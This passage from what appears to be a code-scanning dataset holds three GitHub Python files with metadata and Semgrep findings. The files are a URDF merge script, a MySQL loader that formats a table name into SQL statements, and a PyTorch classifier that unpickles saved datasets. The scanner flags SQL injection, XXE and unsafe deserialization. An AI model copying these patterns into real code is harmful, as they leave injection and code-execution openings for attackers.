"url": "https://raw.githubusercontent.com/CURG-archive/baxter_common/6bca34fb53b81af2b2fd6e73790c34cf900b581f/baxter_description/urdf/combine.py",
"visit_date": "2021-05-27T05:57:56.600248"
} | 2.390625 | stackv2 | import xml.etree.ElementTree as ET
baxter_robot = ET.parse('baxter_robot.urdf')
baxter_moveit = ET.parse('baxter_moveit.urdf')
robot_root = baxter_robot.getroot()
moveit_root = baxter_moveit.getroot()
float_fields = ['radius',
'mass',
'value',
'ix',
'ixx',
'ixy',
'ixz',
'iyy',
'iyz',
'izz',
'length']
for element in robot_root.iter():
for key,value in element.attrib.iteritems():
if key in float_fields:
element.set(key, str(float(value)))
else:
element.set(key, value.strip())
robot_links = baxter_robot.findall('link')
robot_joints = baxter_robot.findall('joint')
moveit_links = baxter_moveit.findall('link')
moveit_joints = baxter_moveit.findall('joint')
for m_link in moveit_links:
found = False
for r_link in robot_links:
if r_link.get('name') == m_link.get('name'):
found = True
if not found:
robot_root.append(m_link)
for m_joint in moveit_joints:
found = False
for r_joint in robot_joints:
if r_joint.get('name') == m_joint.get('name'):
found = True
if not found:
robot_root.append(m_joint)
baxter_robot.write('baxter_combined.urdf') | 50 | 20.68 | 48 | 15 | 300 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_e6811259cf59421c_e34f69ad", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 1, "line_end": 1, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/e6811259cf59421c.py", "start": {"line": 1, "col": 1, "offset": 0}, "end": {"line": 1, "col": 35, "offset": 34}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
1
] | [
1
] | [
1
] | [
35
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | combine.py | /baxter_description/urdf/combine.py | CURG-archive/baxter_common | BSD-2-Clause | |
2024-11-18T19:38:17.166917+00:00 | 1,553,728,130,000 | e3ce8aaf04c9b42c877e998e75e69f4add609f70 | 3 | {
"blob_id": "e3ce8aaf04c9b42c877e998e75e69f4add609f70",
"branch_name": "refs/heads/master",
"committer_date": 1553728130000,
"content_id": "8eae9f7958a42958aac303cd7b51ed335181c485",
"detected_licenses": [
"MIT"
],
"directory_id": "eb720c6583e7d7c76f42fdae159df39935a7b2a3",
"extension": "py",
"filename": "process.py",
"fork_events_count": 2,
"gha_created_at": 1544543524000,
"gha_event_created_at": 1553728131000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 161357568,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1720,
"license": "MIT",
"license_type": "permissive",
"path": "/hseling_api_anti_slovari/process.py",
"provenance": "stack-edu-0054.json.gz:571164",
"repo_name": "hseling/hseling-api-anti-slovari",
"revision_date": 1553728130000,
"revision_id": "da8f542cb715e5bd4f66a6cf7ba8caf000fe23cb",
"snapshot_id": "428416fa1a98ae99f5e24ef4e67de250dec209f5",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/hseling/hseling-api-anti-slovari/da8f542cb715e5bd4f66a6cf7ba8caf000fe23cb/hseling_api_anti_slovari/process.py",
"visit_date": "2020-04-10T23:33:07.261159"
} | 2.734375 | stackv2 | import boilerplate
def process_data(file):
"""Split all files contents and then combine unique words into resulting file.
"""
# result = set()
#
# for _, contents in data_to_process.items():
# if isinstance(contents, bytes):
# text = contents.decode('utf-8')
# else:
# text = contents
# result |= set([word + "!!!" for word in text.split()])
#
# if result:
# yield None, '\n'.join(sorted(list(result)))
conn = boilerplate.get_mysql_connection()
cur = conn.cursor()
print(file)
name = file[:-4]
print(name)
cur.execute("SELECT table_name from information_schema.tables where \
table_schema = 'hse-api-database' and table_name = '%s'", name)
resp = cur.fetchone()
print(resp)
try:
text = boilerplate.get_file(file).decode('utf-8')
if name == 'main':
f = [tuple(x.split(';')) for x in text.split('\n')]
else:
f = [tuple(x.split(',')[1:]) for x in text.split('\n')]
print(f[:5])
cur.execute("CREATE TABLE `hse-api-database`.{} \
(word varchar(300), lemma varchar(300), morphs varchar(300), categories varchar(100))".format(name))
for tup in f:
try:
cur.execute("INSERT INTO `hse-api-database`.{}(word,lemma,morphs,categories)\
VALUES(%s, %s, %s, %s)".format(name), tup)
# print("INSERT INTO `hse-api-database`.{}(word,lemma,morphs,categories)\
# VALUES(%s, %s, %s, %s)".format(name))
except:
print(tup)
raise
conn.commit()
return name, text
except:
pass
| 48 | 34.83 | 112 | 18 | 431 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_6a8382e569d02309_acd9a61b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 35, "column_start": 9, "column_end": 113, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmpb8jm_z1l/6a8382e569d02309.py", "start": {"line": 34, "col": 9, "offset": 1069}, "end": {"line": 35, "col": 113, "offset": 1231}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_6a8382e569d02309_eb3cb028", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 35, "column_start": 9, "column_end": 113, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/6a8382e569d02309.py", "start": {"line": 34, "col": 9, "offset": 1069}, "end": {"line": 35, "col": 113, "offset": 1231}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_6a8382e569d02309_e7b0bc89", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 39, "column_start": 17, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/6a8382e569d02309.py", "start": {"line": 38, "col": 17, "offset": 1287}, "end": {"line": 39, "col": 63, "offset": 1427}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-89",
"CWE-89",
"CWE-89"
] | [
"rules.python.lang.security.audit.formatted-sql-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"HIGH",
"HIGH"
] | [
34,
34,
38
] | [
35,
35,
39
] | [
9,
9,
17
] | [
113,
113,
63
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected possible formatted SQL query. Use parameterized queries instead.",
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa... | [
5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH"
] | process.py | /hseling_api_anti_slovari/process.py | hseling/hseling-api-anti-slovari | MIT | |
2024-11-18T19:38:38.995368+00:00 | 1,558,324,782,000 | 260773af52972efbe6622dd0270282b4702b87c7 | 2 | {
"blob_id": "260773af52972efbe6622dd0270282b4702b87c7",
"branch_name": "refs/heads/master",
"committer_date": 1558324782000,
"content_id": "de319a3b5e789db11973709293ed9c5dbc9bce10",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "03568ca3864708e29c163813122d77f3ea057889",
"extension": "py",
"filename": "guesser_model.py",
"fork_events_count": 0,
"gha_created_at": 1555968553000,
"gha_event_created_at": 1557439505000,
"gha_language": "Python",
"gha_license_id": "Apache-2.0",
"github_id": 182871090,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13546,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/qanta/guesser_model.py",
"provenance": "stack-edu-0054.json.gz:571286",
"repo_name": "ExSidius/qanta-codalab",
"revision_date": 1558324782000,
"revision_id": "02ea0dd227fcf1301acbbb99cf93e385b7be6e1d",
"snapshot_id": "adf0adb275ece69c80fa7367b4a5b743dc64340d",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ExSidius/qanta-codalab/02ea0dd227fcf1301acbbb99cf93e385b7be6e1d/src/qanta/guesser_model.py",
"visit_date": "2020-05-16T07:06:37.094278"
} | 2.40625 | stackv2 | from torch.utils.data import Dataset
from torch.nn.utils import clip_grad_norm_
import torch.nn as nn
import torch
from collections import defaultdict
from typing import NamedTuple, List, Dict, Tuple, Optional, Union
import argparse
import json
import nltk
import pickle
from qanta.helpers import logger
from qanta.embedder import EMBEDDING_LENGTH, Embedder
kUNK = '<unk>'
kPAD = '<pad>'
TRAIN_DATASET = 'train_dataset.pkl'
DEV_DATASET = 'dev_dataset.pkl'
TEST_DATASET = 'test_dataset.pkl'
WORD_MAPS = 'word_maps.pkl'
class Example(NamedTuple):
tokenized_text: List[str]
label: str
@logger('loading data')
def load_data(filename: str, limit: Optional[int] = None) -> List[Example]:
data = []
with open(filename) as json_data:
questions = json.load(json_data)["questions"][:limit]
for question in questions:
tokenized_text = nltk.word_tokenize(question['text'].lower())
label = question['page']
if label:
data.append(Example(tokenized_text, label))
return data
@logger('creating class labels')
def class_labels(examples: List[Example]) -> Tuple[
Dict[str, int], Dict[int, str]]:
classes = set([example.label for example in examples])
index2class = dict(enumerate(classes))
class2index = {v: k for k, v in index2class.items()}
return class2index, index2class
@logger('loading words')
def load_words(examples: List[Example]) -> Tuple[
List[str], Dict[str, int], Dict[int, str]]:
words = {kPAD, kUNK}
tokenized_texts, _ = zip(*examples)
for tokenized_text in tokenized_texts:
for token in tokenized_text:
if token not in words:
words.add(token)
words = list(words)
index2word = dict(enumerate(words))
word2index = {v: k for k, v in index2word.items()}
return words, word2index, index2word
@logger('clip dataset')
def clip_data(training_examples, dev_examples, cutoff=2):
ans_count = defaultdict(int)
for example in (training_examples + dev_examples):
ans_count[example.label] += 1
ans_keep = set([x for x in ans_count if ans_count[x] >= cutoff])
new_train = []
new_dev = []
for example in training_examples:
if example.label in ans_keep:
new_train.append(example)
for example in dev_examples:
if example.label in ans_keep:
new_dev.append(example)
return new_train, new_dev, len(ans_keep)/len(ans_count)
class QuestionDataset(Dataset):
def __init__(self,
examples: List[Example],
word2index: Dict[str, int],
num_classes: int,
class2index: Optional[Dict[str, int]] = None):
self.tokenized_questions = []
self.labels = []
tokenized_questions, labels = zip(*examples)
self.tokenized_questions = list(tokenized_questions)
self.labels = list(labels)
new_labels = []
for label in self.labels:
new_label = class2index[
label] if label in class2index else num_classes
new_labels.append(new_label)
self.labels = new_labels
self.word2index = word2index
def __getitem__(self, index) -> Tuple[List[int], int]:
return self.vectorize(self.tokenized_questions[index]), self.labels[
index]
def __len__(self):
return len(self.tokenized_questions)
def vectorize(self, tokenized_text: List[str]) -> List[int]:
return [self.word2index[word] if word in self.word2index else
self.word2index[kUNK]
for word in tokenized_text]
def batchify(batch: List[Tuple[List[int], int]]) -> Dict[
str, Union[torch.LongTensor, torch.FloatTensor]]:
"""
Create a batch of examples which includes the
question text, question length and labels.
"""
questions, labels = zip(*batch)
questions = list(questions)
question_lens = [len(q) for q in questions]
labels = list(labels)
labels = torch.LongTensor(labels)
x1 = torch.LongTensor(len(questions), max(question_lens)).zero_()
for i, (question, q_len) in enumerate(zip(questions, question_lens)):
x1[i, :q_len].copy_(torch.LongTensor(question))
return {
'text': x1,
'len': torch.FloatTensor(question_lens),
'labels': labels,
}
class Model(nn.Module):
def __init__(self,
n_classes,
vocab_size,
embedding_dimension=EMBEDDING_LENGTH,
embedder=None,
n_hidden=50,
dropout_rate=.5):
super(Model, self).__init__()
self.n_classes = n_classes
self.vocab_size = vocab_size
self.n_hidden = n_hidden
self.embedding_dimension = embedding_dimension
if embedder:
self.embeddings = embedder
else:
self.embeddings = nn.Embedding(self.vocab_size,
self.embedding_dimension,
padding_idx=0)
self.dropout_rate = dropout_rate
self.layer1 = nn.Linear(embedding_dimension, n_hidden)
self.layer2 = nn.Linear(n_hidden, n_classes)
self.classifier = nn.Sequential(
self.layer1,
nn.ReLU(),
nn.Dropout(p=dropout_rate, inplace=False),
self.layer2,
)
self._softmax = nn.Softmax(dim=1)
def forward(self, input_text: torch.Tensor, text_len: torch.Tensor, is_prob=False):
logits = torch.LongTensor([0.0] * self.n_classes)
input_text = input_text.type(torch.LongTensor).to(input_text.device)
embedding = self.embeddings(input_text)
average_embedding = embedding.sum(1) / text_len.view(embedding.size(0), -1)
if is_prob:
logits = self._softmax(logits)
else:
logits = self.classifier(average_embedding)
return logits
def evaluate(data_loader: torch.utils.data.DataLoader,
model: Model,
device: torch.device) -> float:
model.eval()
num_examples = 0
error = 0
for i, batch in enumerate(data_loader):
question_text = batch['text'].to(device)
question_len = batch['len'].to(device)
labels = batch['labels'].to(device)
logits = model(question_text, question_len)
top_n, top_i = logits.topk(1)
num_examples += question_text.size(0)
error += torch.nonzero(top_i.squeeze() - labels).size(0)
accuracy = 1 - error / num_examples
print(accuracy)
return accuracy
def train(args: argparse.Namespace,
model: Model,
train_data_loader: torch.utils.data.DataLoader,
dev_data_loader: torch.utils.data.DataLoader,
accuracy: float,
device: torch.device,
learning_rate: float) -> float:
model.train()
if args.optim == 'adamax':
optimizer = torch.optim.Adamax(model.parameters(), lr=learning_rate)
elif args.optim == 'rprop':
optimizer = torch.optim.Rprop(model.parameters(), lr=learning_rate)
criterion = nn.CrossEntropyLoss()
# print_loss_total = 0
# epoch_loss_total = 0
# start = time.time()
for i, batch in enumerate(train_data_loader):
question_text = batch['text'].to(device)
question_len = batch['len'].to(device)
labels = batch['labels'].to(device)
optimizer.zero_grad()
result = model(question_text, question_len)
loss = criterion(result, labels)
loss.backward()
optimizer.step()
clip_grad_norm_(model.parameters(), args.grad_clipping)
# print_loss_total += loss.data.numpy()
# epoch_loss_total += loss.data.numpy()
if i % args.checkpoint == 0 and i > 0:
# print_loss_avg = print_loss_total / args.checkpoint
# print(
# f'number of steps: {i}, loss: {print_loss_avg} time: {time.time() - start}')
# print_loss_total = 0
curr_accuracy = evaluate(dev_data_loader, model, device)
print('loss: {}'.format(loss))
if curr_accuracy > accuracy:
accuracy = curr_accuracy
torch.save(model, args.save_model)
return accuracy
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Question Type')
parser.add_argument('--no-cuda', action='store_true', default=False)
parser.add_argument('--train-file', type=str, default='../../data/qanta.train.json')
parser.add_argument('--dev-file', type=str, default='../../data/qanta.dev.json')
parser.add_argument('--test-file', type=str, default='../../data/qanta.test.json')
parser.add_argument('--batch-size', type=int, default=128)
parser.add_argument('--num-epochs', type=int, default=20)
parser.add_argument('--grad-clipping', type=int, default=5)
parser.add_argument('--resume', action='store_true', default=False)
parser.add_argument('--test', action='store_true', default=False)
parser.add_argument('--save-model', type=str, default='dan.pt')
parser.add_argument('--load-model', type=str, default='dan.pt')
parser.add_argument("--limit", help="Number of training documents", type=int, default=-1, required=False)
parser.add_argument('--checkpoint', type=int, default=50)
parser.add_argument('--use-pretrained-embeddings', action='store_true', default=False)
parser.add_argument('--store-word-maps', action='store_true', default=False)
parser.add_argument('--optim', type=str, default='adamax')
parser.add_argument('--save-qdataset', action='store_true', default=False)
parser.add_argument('--load-qdataset', action='store_true', default=False)
parser.add_argument('--learning-rate', type=float, default=0.001)
parser.add_argument('--lr-decay', type=int, default=0)
parser.add_argument('--trim', action='store_true', default=False)
args = parser.parse_args()
args.cuda = not args.no_cuda and torch.cuda.is_available()
device = torch.device("cuda" if args.cuda else "cpu")
assert not (args.save_qdataset and args.load_qdataset)
if args.load_qdataset:
print('Loading saved datasets')
train_dataset = pickle.load(open(TRAIN_DATASET, 'rb'))
dev_dataset = pickle.load(open(DEV_DATASET, 'rb'))
test_dataset = pickle.load(open(TEST_DATASET, 'rb'))
word_maps = pickle.load(open(WORD_MAPS, 'rb'))
voc = word_maps['voc']
word2index = word_maps['word2index']
index2word = word_maps['index2word']
class2index = word_maps['class2index']
index2class = word_maps['index2class']
else:
training_examples = load_data(args.train_file, args.limit)
dev_examples = load_data(args.dev_file)
test_examples = load_data(args.test_file)
if args.trim:
old_len_train, old_len_dev = len(training_examples), len(dev_examples)
training_examples, dev_examples, percent_kept = clip_data(training_examples, dev_examples)
print(f'Trimmed training & dev examples of {(1-percent_kept)*100}% of labels')
print(f'{len(training_examples)} of {old_len_train} training examples kept ({len(training_examples)/old_len_train}%)')
print(f'{len(dev_examples)} of {old_len_dev} dev examples kept ({len(dev_examples)/old_len_dev}%)')
voc, word2index, index2word = load_words(training_examples + dev_examples)
class2index, index2class = class_labels(training_examples + dev_examples)
num_classes = len(class2index)
if args.store_word_maps:
with open('word_maps.pkl', 'wb') as f:
pickle.dump({'voc': voc, 'word2index': word2index, 'index2word': index2word,
'class2index': class2index, 'index2class': index2class}, f)
embedder = None
if args.use_pretrained_embeddings:
embedder = Embedder(index2word).get_embedding()
print(f'Number of classes in dataset: {num_classes}')
print()
if args.test:
if args.no_cuda:
model = torch.load(args.load_model, map_location='cpu')
else:
model = torch.load(args.load_model)
model.to(device)
print(model)
if not args.load_qdataset:
test_dataset = QuestionDataset(test_examples, word2index, num_classes,
class2index)
test_sampler = torch.utils.data.sampler.SequentialSampler(test_dataset)
test_loader = torch.utils.data.DataLoader(test_dataset,
batch_size=args.batch_size,
sampler=test_sampler,
num_workers=0,
collate_fn=batchify)
evaluate(test_loader, model, device)
else:
if args.resume:
if args.no_cuda:
model = torch.load(args.load_model, map_location='cpu')
else:
model = torch.load(args.load_model)
model.to(device)
else:
model = Model(num_classes, len(voc), embedder=embedder)
model.to(device)
print(model)
if not args.load_qdataset:
train_dataset = QuestionDataset(training_examples, word2index,
num_classes, class2index)
dev_dataset = QuestionDataset(dev_examples, word2index, num_classes,
class2index)
if args.save_qdataset:
print('Saving train & dev datasets')
pickle.dump(train_dataset, open(TRAIN_DATASET, 'wb'))
pickle.dump(dev_dataset, open(DEV_DATASET, 'wb'))
train_sampler = torch.utils.data.sampler.RandomSampler(train_dataset)
dev_sampler = torch.utils.data.sampler.SequentialSampler(dev_dataset)
dev_loader = torch.utils.data.DataLoader(dev_dataset,
batch_size=args.batch_size,
sampler=dev_sampler,
num_workers=0,
collate_fn=batchify)
accuracy = 0
for epoch in range(args.num_epochs):
print(f'Start Epoch {epoch}')
if args.lr_decay > 0:
learning_rate = args.learning_rate * ((0.5) ** (epoch//args.lr_decay))
else:
learning_rate = args.learning_rate
print(f'Learning Rate {learning_rate}')
train_loader = torch.utils.data.DataLoader(train_dataset,
batch_size=args.batch_size,
sampler=train_sampler,
num_workers=0,
collate_fn=batchify)
accuracy = train(args, model, train_loader, dev_loader, accuracy,
device, learning_rate)
print('Start Testing:\n')
if not args.load_qdataset:
test_dataset = QuestionDataset(test_examples, word2index, num_classes,
class2index)
if args.save_qdataset:
print('Saving test dataset')
pickle.dump(test_dataset, open(TEST_DATASET, 'wb'))
test_sampler = torch.utils.data.sampler.SequentialSampler(test_dataset)
test_loader = torch.utils.data.DataLoader(test_dataset,
batch_size=args.batch_size,
sampler=test_sampler,
num_workers=0,
collate_fn=batchify)
evaluate(test_loader, model, device)
| 413 | 31.8 | 121 | 19 | 3,356 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_e169d83f0c842e9f_a927aadc", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 7, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/e169d83f0c842e9f.py", "start": {"line": 31, "col": 7, "offset": 707}, "end": {"line": 31, "col": 21, "offset": 721}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e169d83f0c842e9f_71e62df5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 298, "line_end": 298, "column_start": 19, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e169d83f0c842e9f.py", "start": {"line": 298, "col": 19, "offset": 9103}, "end": {"line": 298, "col": 57, "offset": 9141}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, 